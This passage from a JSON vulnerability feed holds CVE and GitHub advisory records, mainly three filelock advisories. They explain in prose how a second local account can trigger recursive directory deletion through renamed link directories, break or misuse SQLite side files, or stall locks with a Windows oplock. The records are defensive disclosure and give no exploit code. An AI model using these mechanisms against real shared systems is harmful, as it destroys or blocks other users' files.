fixes.","publishedAt":"2026-10-24T05:17:06.500Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115807","asOf":"2026-10-26T13:41:11.497Z"},"epss":{"probability":0.0021,"percentile":0.11167,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115807&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115807","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115807","type":"primary","publishedAt":"2026-10-24T05:17:06.500Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115807&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115807, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115929","cveId":"CVE-2026-115929","aliases":[],"kind":"vulnerability","title":"MongoDB Compass relies on Electron, a third-party runtime that carries its own TLS root certificate store.","summary":"MongoDB Compass relies on Electron, a third-party runtime that carries its own TLS root certificate store. This root certificate store has the recoverable eMudhra intermediate CA certificates. Issue is resolved by updating to Compass 1.53.1, which includes Electron 44.9.1.","detail":"MongoDB Compass relies on Electron, a third-party runtime that carries its own TLS root certificate store. This root certificate store has the recoverable eMudhra intermediate CA certificates. Issue is resolved by updating to Compass 1.53.1, which includes Electron 44.9.1.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T01:17:08.250Z","updatedAt":"2026-10-26T16:54:08.707Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Electron"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115929","asOf":"2026-10-26T16:54:08.707Z"},"epss":{"probability":0.00187,"percentile":0.08258,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115929&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115929","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115929","type":"primary","publishedAt":"2026-10-24T01:17:08.250Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115929&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115929, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112937","cveId":"CVE-2026-112937","aliases":["GHSA-jqc4-5cvw-7w85"],"kind":"vulnerability","title":"filelock: ReadWriteLock on the hard-link route deletes any directory another user renames onto its .filelock-* link directory name","summary":"`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) remove their private `.filelock-*` link directories with `shutil.rmtree` (a recursive delete) on a remembered path. They do not check that the path still names the directory they created. This happens on the hard-link route (a hard link is a second name for the same file). That route is every connection on macOS since 4.1.1 and any POSIX process without a usable `/proc/self/fd` (a Linux path that names the process's own open files), such as a chroot or container that does not mount `/proc`.\n\nAnother local user who can rename entries in the directory that holds the lock database can rename one of the directories of the user running the lock (below: the lock user) onto the link directory's name, or onto a forged dead-holder name. Such a lock directory is a `0777` or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The lock user's process then deletes that tree and everything in it with the lock user's permissions, and reports no error. Stock Linux with `/proc` mounted is not affected. Affected versions are filelock 4.1.0 through 4.2.0.","detail":"`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) remove their private `.filelock-*` link directories with `shutil.rmtree` (a recursive delete) on a remembered path. They do not check that the path still names the directory they created. This happens on the hard-link route (a hard link is a second name for the same file). That route is every connection on macOS since 4.1.1 and any POSIX process without a usable `/proc/self/fd` (a Linux path that names the process's own open files), such as a chroot or container that does not mount `/proc`.\n\nAnother local user who can rename entries in the directory that holds the lock database can rename one of the directories of the user running the lock (below: the lock user) onto the link directory's name, or onto a forged dead-holder name. Such a lock directory is a `0777` or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The lock user's process then deletes that tree and everything in it with the lock user's permissions, and reports no error. Stock Linux with `/proc` mounted is not affected. Affected versions are filelock 4.1.0 through 4.2.0.\n\nAnthropic's OSS Scanner reported this in private as `ANT-2026-LSSZIUEO` [high, CWE-367]: ReadWriteLock deletes any directory another user renames to .filelock-*.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L` scores 6.1 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): two `rename` calls and no race against filelock's own code. `I:H` (high integrity impact): the other user destroys a directory tree owned by the lock user, and the lock user's program reports no error. `A:L` (partial availability loss): the Python 3.11 `RecursionError` variant makes the lock user's first lock construction fail. `C:N` (no confidentiality impact): the other user learns nothing. `S:U` (scope unchanged): the effect stays within the lock user's own privileges.\n\nClassification from the external review: **conditional security**, a cross-user rename in a non-sticky shared parent that turns private-link cleanup into recursive deletion of the lock user's tree. The scanner rated it high. The review accepts the mechanism, notes that the macOS route rests on a Linux run with `/proc` hidden rather than on a run on macOS, and narrows the finding to that precondition and route.\n\n## Scope and preconditions\n\n- The other party is a different local account with write permission on the directory that holds the lock database, where that directory has no sticky bit. That is a `0777` directory, or a group-writable one (in a setgid `2775` directory a group member can rename the lock user's sub-directory the same way). Renaming an entry needs write permission on the parent only, not on the entry. Anyone who can write the parent can rename a `0700` directory of the lock user.\n- Sticky directories (`/tmp` itself, any `1777` directory) stop the release variant: the rename of an entry owned by the lock user fails with `EPERM`. The dead-owner sweep still reaches a lock user's tree that sits inside a directory the other account owns there. That account may rename its own directory to a forged dead-owner name, and the lock user's sweep deletes everything inside it. The Python 3.11 `RecursionError` variant also works in a sticky directory.\n- Platform and route. The lock user must connect through the private hard link. That is every `ReadWriteLock` or `AsyncReadWriteLock` on macOS (since 4.1.1, #820), or a POSIX process whose `/proc/self/fd/ ` (`/dev/fd/ ` elsewhere) does not exist, such as a chroot or container without `/proc`. Linux with `/proc` mounted connects through the descriptor and creates no `.filelock-*` directory (checked: none appears, also with two holders in one process), so stock Linux is not affected at 4.2.0. The macOS statement rests on the `descriptor_usable` branch at line 984 and `docs/how-to.rst`. The reproducer runs the same Python code on Linux with `/proc` hidden, which takes root and is test scaffolding, not a step the other user performs. Windows does not take this route.\n- Target set. Only directories that sit in the shared parent itself, or that the other account can already write, are reachable. The kernel refuses to move a `0700` directory of the lock user in from another parent. A tree the other account can already write (a group-writable project tree created with umask `002`) is no gain, since that account can delete it without filelock. A lock user running as root deletes a tree of any owner.\n- Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky.\n\n## Affected code\n\nAt the scanned commit `b831496b0273`: [`_ForkSafeConnection.close` runs `shutil.rmtree` on the remembered `mkdtemp` path](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L290-L296). The path comes from [`retain_until_close`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L305-L307), set on the [link route in `_connect_through_descriptor`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L984-L1011), where [`descriptor_usable` is `False` on macOS](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L984). Three more `rmtree` sites sit in [`_link_beside`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1014-L1029) (lines 1023 and 1026) and the connect's `finally` (line 1011). T\n\nAffected package ranges reported by GitHub:\nfilelock: >= 4.1.0, <= 4.2.0","action":"GitHub lists first patched versions: filelock: 4.2.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T22:28:41.000Z","updatedAt":"2026-10-23T22:28:42.000Z","regions":["Global"],"vendor":null,"product":"filelock","stacks":["Python packages (PyPI)","filelock","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.1,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L","sourceUrl":"https://github.com/advisories/GHSA-jqc4-5cvw-7w85","asOf":"2026-10-23T22:28:42.000Z"},"epss":{"probability":0.00162,"percentile":0.05337,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112937&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-jqc4-5cvw-7w85","url":"https://github.com/advisories/GHSA-jqc4-5cvw-7w85","type":"primary","publishedAt":"2026-10-23T22:28:41.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-jqc4-5cvw-7w85, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112937&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112937, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112913","cveId":"CVE-2026-112913","aliases":["GHSA-9vhv-jxww-xfm5"],"kind":"vulnerability","title":"filelock: ReadWriteLock on Windows acts on SQLite side files another local user places beside its database","summary":"On Windows, `ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) connect SQLite to the lock database by its path, in every directory. SQLite derives three side files from that path: ` -journal`, the rollback journal (pages saved to undo an interrupted write); ` -wal`, the write-ahead log (changes kept outside the main file); and ` -shm`, the shared-memory index of the WAL. SQLite acts on whichever of these it finds beside the database before the lock runs any statement. Another local account that can create files in the database's directory, but not delete files of other accounts there, places such a side file beside the database and denies everyone `DELETE` on it, which a file's creator may do. `C:\\Windows\\Temp` (the temporary directory of services, granting `BUILTIN\\Users` create but not delete) and `C:\\Users\\Public` are such directories.\n\nWith a `-wal` in place, every `read_lock()` and `write_lock()` of the user running the lock (below: the lock user) raises `sqlite3.OperationalError: disk I/O error` at once, whatever `timeout` says, until that account removes its file; the lock user cannot. With a `-journal` beside a lock database that holds a table, SQLite replays the journal and deletes the file the journal names, a file of the lock user, and the acquire reports success. Affected versions are filelock 3.20.4 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the POSIX form of the defect, GHSA-v4x8-3wr5-3wq8, whose text says \"Windows does not take this path\" (review round 4, finding F2 of set D). It is not among the findings of the report Anthropic's OSS Scanner sent on 15 October 2026.","detail":"On Windows, `ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) connect SQLite to the lock database by its path, in every directory. SQLite derives three side files from that path: ` -journal`, the rollback journal (pages saved to undo an interrupted write); ` -wal`, the write-ahead log (changes kept outside the main file); and ` -shm`, the shared-memory index of the WAL. SQLite acts on whichever of these it finds beside the database before the lock runs any statement. Another local account that can create files in the database's directory, but not delete files of other accounts there, places such a side file beside the database and denies everyone `DELETE` on it, which a file's creator may do. `C:\\Windows\\Temp` (the temporary directory of services, granting `BUILTIN\\Users` create but not delete) and `C:\\Users\\Public` are such directories.\n\nWith a `-wal` in place, every `read_lock()` and `write_lock()` of the user running the lock (below: the lock user) raises `sqlite3.OperationalError: disk I/O error` at once, whatever `timeout` says, until that account removes its file; the lock user cannot. With a `-journal` beside a lock database that holds a table, SQLite replays the journal and deletes the file the journal names, a file of the lock user, and the acquire reports success. Affected versions are filelock 3.20.4 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the POSIX form of the defect, GHSA-v4x8-3wr5-3wq8, whose text says \"Windows does not take this path\" (review round 4, finding F2 of set D). It is not among the findings of the report Anthropic's OSS Scanner sent on 15 October 2026.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L` scores 3.3 (Low).**\n\n`AV:L` (local): the other account needs a logon on the same host. `AC:L` (low attack complexity): create one file beside the database and set its ACL (access control list); no race, and the other account can place the file days earlier. `PR:L` (low privileges): an ordinary account that can create files in the directory is enough. `UI:N` (no user interaction). `S:U` (scope unchanged). `C:N` (no confidentiality impact): the other account learns nothing. `I:N` (no integrity impact in the scored variant): see the scoring note. `A:L` (partial availability impact): every acquire fails with an exception that `Timeout` handlers do not catch, until the other account removes its file; no crash, and the lock's own data is not changed.\n\nScoring note. The deletion variant reads `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L` (3.6): `I:L` because the lock user's process deletes one file the journal names, `AC:H` because it needs a lock database that holds a table, which filelock does not create, and a journal the lock user can open for writing. The lower-reading rule of this advisory set scores the variant that reaches every `ReadWriteLock` on Windows in such a directory, 3.3, and describes the deletion variant under Mechanism. Classification from the review: **security** (another account), availability for the scored variant.\n\n## Scope and preconditions\n\n- Platform and classes: Windows only. `ReadWriteLock` and `AsyncReadWriteLock`, both of which connect through `_connect`. On Linux and macOS the lock takes other routes, covered by GHSA-v4x8-3wr5-3wq8.\n- Directory: one where another account can create files but cannot delete the lock user's. `C:\\Windows\\Temp` carries `BUILTIN\\Users:(CI)(S,WD,AD,X)` (create file and create subdirectory, no delete child); `C:\\Users\\Public` and any directory with such an entry qualify. A directory only the lock user can write, such as `%LOCALAPPDATA%` or the per-user temporary directory, is not affected.\n- The other account creates ` -wal`, grants everyone modify and denies everyone `DELETE` on it. A file's creator may set both. The lock user can open and read the file but not delete it.\n- Deletion variant: the lock database holds at least one table (filelock creates an empty database, and the review's reproducer has the lock account create the table), and the other account's ` -journal` grants the lock account modify rights. The journal's tail names a file the lock user can delete.\n- What the lock user sees: `write_lock(timeout=1)` raised `sqlite3.OperationalError: disk I/O error` with the undeletable `-wal` in place; with the writable journal the acquire succeeded and the named file was gone; with an undeletable journal every acquire raised `sqlite3.OperationalError: unable to open database file`.\n- The documentation at the scanned commit states \"the lock directory must not be writable by untrusted users\" for `WindowsFileLock`, in its symlink paragraph; the `ReadWriteLock` documentation names no directory requirement on Windows.\n\n## Affected code\n\nScanned commit `b831496b0273`: the [Windows branch of `_connect`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L951-L965) checks the database through a handle and then calls `sqlite3.connect(database, ...)` with the path. [`_open_lock_database`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1079-L1091) and [`_raise_if_wal`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1094-L1101) inspect that handle, not the side files. The first statement is [`PRAGMA busy_timeout=...; PRAGMA journal_mode=MEMORY;` at L816](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L816). [`_do_acquire_inner` at L763](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L763) turns only `\"database is locked\"` into `Timeout`; any other `sqlite3.OperationalError` leaves the acquire.\n\n## Introduced\n\n[cfd4446](https://github.com/tox-dev/filelock/commit/cfd4446) \"feat(lock): add SQLite-based ReadWriteLock\" ([#399](h\n\nAffected package ranges reported by GitHub:\nfilelock: >= 3.20.4, <= 4.2.0","action":"GitHub lists first patched versions: filelock: 4.2.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T22:28:19.000Z","updatedAt":"2026-10-23T22:28:20.000Z","regions":["Global"],"vendor":null,"product":"filelock","stacks":["Python packages (PyPI)","filelock","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":3.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L","sourceUrl":"https://github.com/advisories/GHSA-9vhv-jxww-xfm5","asOf":"2026-10-23T22:28:20.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-9vhv-jxww-xfm5","url":"https://github.com/advisories/GHSA-9vhv-jxww-xfm5","type":"primary","publishedAt":"2026-10-23T22:28:19.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-9vhv-jxww-xfm5, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112907","cveId":"CVE-2026-112907","aliases":["GHSA-567q-5qvw-pf92"],"kind":"vulnerability","title":"filelock: On Windows an oplock on a soft lock's marker holds SoftFileLock.acquire() past its timeout and blocks the stale break","summary":"On Windows the soft locks (`SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, their async forms, and a `FileLock` that fell back to a soft lock) read their marker by path. The marker is the lock file whose presence says a process holds the lock. Each `acquire()` attempt that finds a marker opens it with `os.open` to read the holder's process id, and the lock renames and deletes a marker it judges stale, by path. On Windows each of these calls waits for an oplock. An oplock (opportunistic lock) is a request by a process that holds a handle on a file to be told before another process opens, renames or deletes that file; the other process waits until the holder answers the break or closes its handle.\n\nAnother local account that can open the marker for reading can take a Level 1 oplock on it while no process holds it open, and leave the break unanswered. Every `acquire()` by the user running the lock (below: the lock user) then waits inside the open, past its `timeout`, `blocking=False` and `cancel_check`, and a stale marker under that oplock is not broken. Mutual exclusion holds and the lock touches no other file. Affected versions are filelock 3.22.0 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the report Anthropic's OSS Scanner sent on 15 October 2026 (review round 4, finding F4); it is not among the scanner's findings.","detail":"On Windows the soft locks (`SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, their async forms, and a `FileLock` that fell back to a soft lock) read their marker by path. The marker is the lock file whose presence says a process holds the lock. Each `acquire()` attempt that finds a marker opens it with `os.open` to read the holder's process id, and the lock renames and deletes a marker it judges stale, by path. On Windows each of these calls waits for an oplock. An oplock (opportunistic lock) is a request by a process that holds a handle on a file to be told before another process opens, renames or deletes that file; the other process waits until the holder answers the break or closes its handle.\n\nAnother local account that can open the marker for reading can take a Level 1 oplock on it while no process holds it open, and leave the break unanswered. Every `acquire()` by the user running the lock (below: the lock user) then waits inside the open, past its `timeout`, `blocking=False` and `cancel_check`, and a stale marker under that oplock is not broken. Mutual exclusion holds and the lock touches no other file. Affected versions are filelock 3.22.0 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the report Anthropic's OSS Scanner sent on 15 October 2026 (review round 4, finding F4); it is not among the scanner's findings.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L` scores 2.5 (Low).**\n\n`AV:L` (local): the other account needs a logon on the same host. `AC:H` (high attack complexity): Windows grants a Level 1 or batch oplock only to the sole open handle on a file, so the marker must have no holder handle when the other account asks. That account cannot bring this about; it waits for a holder that died, closed its descriptor, or left a marker past its `lifetime`. `PR:L` (low privileges): an ordinary account with read access to the marker through the directory's inherited ACL (access control list). `UI:N` (no user interaction). `S:U` (scope unchanged). `C:N` and `I:N`: that account can read the marker's content (process id and host name) anyway, and mutual exclusion holds. `A:L` (partial availability impact): one thread, or the event loop with `run_in_executor=False`, waits until the holder answers; 10 s per attempt in the two-account runs, no crash. Metrics in doubt take the lower reading.\n\nClassification from the review: **security, conditional** on an unheld marker that another account can open.\n\n## Scope and preconditions\n\n- Platform and classes: Windows only. `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, `AsyncSoftFileLock` and the other async soft locks, and `FileLock` after its `ENOSYS` fallback to a soft lock. `WindowsFileLock` opens its lock file on a separate code path that this advisory does not cover.\n- Marker access: the soft locks create the marker with `os.open`, which on Windows applies no more of `mode` than the read-only attribute (GHSA-8mx5-7m5m-r77g). The marker carries the lock directory's inheritable entries. Another account that those entries grant read access to new files can open the marker with a read handle that shares read, write and delete.\n- Unheld marker: no handle may be open on the marker when the other account requests the oplock. That is a holder that died and left its marker, a holder that closed its descriptor, or a marker whose `lifetime` has passed. While the holder keeps its handle, the request fails.\n- Holder behavior: the other account requests the oplock through an overlapped `DeviceIoControl` and never acknowledges the break. Windows cancels a thread's pending request when the thread exits, so the holder thread stays alive. A same-account process that answers slowly, such as an indexer, has the same effect for its answer time.\n- What the lock user sees: `SoftFileLock.acquire(timeout=1)` returned `Timeout` after 10.02 s with the second account's handle. In the same-account probe `os.open` with `O_RDONLY` was still running after 15 s and returned once the holder closed. The retry loop consults `timeout`, `blocking=False` and `cancel_check` between attempts only. With `AsyncSoftFileLock(run_in_executor=False)` the event loop waits.\n- Stale break: `break_lock_file` renames and unlinks by path. Both calls wait in the same way, so a stale marker under such an oplock stays, and no process acquires the lock until the holder closes.\n- Not affected: mutual exclusion, and the lock reads, writes and deletes no file other than the marker.\n\n## Affected code\n\nScanned commit `b831496b0273`: the [`os.open` in `_read_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L323) ([function](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L312-L335)), called from [`_try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123) on every attempt that finds a marker, and from [`_unprobeable_holder`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L137), [`pid`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L164) and [`is_lock_held_by_us`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L179). [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L84-L122) renames at L116 and unlinks at L118 and L122, by path. [`_poll_until_acquired`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_api.py#L1378-L1408) and [`_check_give_up`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_api.py#L1590-L1608) test the deadline, `blocking` and `cancel_check` only between attempts.\n\n## Introduced\n\n[e35\n\nAffected package ranges reported by GitHub:\nfilelock: >= 3.22.0, <= 4.2.0","action":"GitHub lists first patched versions: filelock: 4.2.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T22:27:32.000Z","updatedAt":"2026-10-23T22:27:34.000Z","regions":["Global"],"vendor":null,"product":"filelock","stacks":["Python packages (PyPI)","filelock","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.5,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L","sourceUrl":"https://github.com/advisories/GHSA-567q-5qvw-pf92","asOf":"2026-10-23T22:27:34.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-567q-5qvw-pf92","url":"https://github.com/advisories/GHSA-567q-5qvw-pf92","type":"primary","publishedAt":"2026-10-23T22:27:32.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-567q-5qvw-pf92, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113713","cveId":"CVE-2026-113713","aliases":["GHSA-4f8h-vr72-p32c"],"kind":"vulnerability","title":"virtualenv: Temporary app-data can leave dangling seed package links","summary":"The app-data seeder can leave an environment linked to temporary package files that virtualenv deletes when creation\nfinishes. The environment-variable and configuration-file forms of `symlink_app_data` can enable this state even though\nthe command-line flag is disabled for temporary app-data. The resulting environment depends on a cache pathname that its\nowner no longer controls.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-ZOE2GEPC` in `virtualenv-20261015-005`, received on 15 October 2026.\nThis draft records source review and functional remediation checks. The reporter's cross-account code-execution claim\nhas not been independently reproduced.","detail":"## Summary\n\nThe app-data seeder can leave an environment linked to temporary package files that virtualenv deletes when creation\nfinishes. The environment-variable and configuration-file forms of `symlink_app_data` can enable this state even though\nthe command-line flag is disabled for 